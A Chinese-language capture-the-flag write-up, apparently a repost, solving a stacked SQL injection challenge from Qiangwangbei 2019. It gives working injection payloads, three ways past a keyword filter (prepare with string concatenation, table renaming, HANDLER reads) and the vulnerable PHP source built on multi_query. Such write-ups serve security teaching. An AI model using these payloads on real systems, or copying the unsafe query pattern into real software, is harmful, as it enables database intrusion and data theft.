[BUUOJ記錄] [強網杯 2019]隨便注(三種方法)


本題主要考察堆疊注入,算是比較經典的一道題,在i春秋GYCTF中也出現了本題的升級版

猜測這里的MySQL語句結構應該是:

select * from words where id='$inject';

構造Payload:用單引號+分號閉合前面的語句,插入SQL語句,再用注釋符注釋掉后面的語句即可

先列出所有數據庫:

1';show databases;#

得到:

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

選擇數據庫:

1';use supersqli;#

查詢supersqli庫中的所有表:

1';show tables;#

得到:

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

查詢1919810931114514表中的字段(這里需要注意的是,如果表名是純數字需要用反引號包裹,不然不會出現回顯):

1';show columns from `1919810931114514`;#

得到:

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

以上是正常的步驟,但是准備用select查詢flag時發現了過濾,過濾掉了select、update、delete、drop、insert、where:

下面開始講解獲取flag的三種方法:

1.儲存過程繞過(利用prepare語句):

1';
set @a = CONCAT('se','lect * from `1919810931114514`;');  //字符串拼接繞過select過濾
prepare flag from @a;
EXECUTE flag;#

關於這種繞過方式可以參考: PDO場景下的SQL注入探究

 

 2.重命名繞過(利用alter語句與rename語句):

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

執行完上述請求再請求1’ or 1=1#即可獲得Flag

 參考:http://www.saucer-man.com/information_security/302.html

 

3.handler語句代替select查詢:

這個方法在i春秋GYCTF中本題的升級版(多過濾了prepare、set、rename,顯然前兩種方法都不適用)中亮相

1';handler `1919810931114514` open as ye;  //同樣的,這里的表名因為是純數字所以需要用反引號包裹
handler ye read first;
handler ye close;#  //注意:這里必須close handler才可以獲取Flag

這里附上handler的用法:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

e.g: 通過handler語句查詢users表的內容:

handler users open as yunensec; #指定數據表進行載入並將返回句柄重命名
handler yunensec read first; #讀取指定表/句柄的首行數據
handler yunensec read next; #讀取指定表/句柄的下一行數據
handler yunensec read next; #讀取指定表/句柄的下一行數據
...
handler yunensec close; #關閉句柄

 

做完題之后分析一下源碼:

<html>

<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材於某次真實環境滲透,只說一句話:開發和安全缺一不可</h1>
<!-- sqlmap是沒有靈魂的 -->
<form method="get">
    姿勢: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){
      do{
        if ($rs = $mysqli->store_result()){
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close();
          if ($mysqli->more_results()){
            echo "<hr>";
          }
        }
      }while($mysqli->next_result());
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();
}
?>
</pre>

</body>

</html>

堆疊注入的成因在這里:

$res = $mysqli->multi_query($sql);

這里的multi_query()可以執行一條或多條sql語句,從而導致了堆疊注入的產生。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM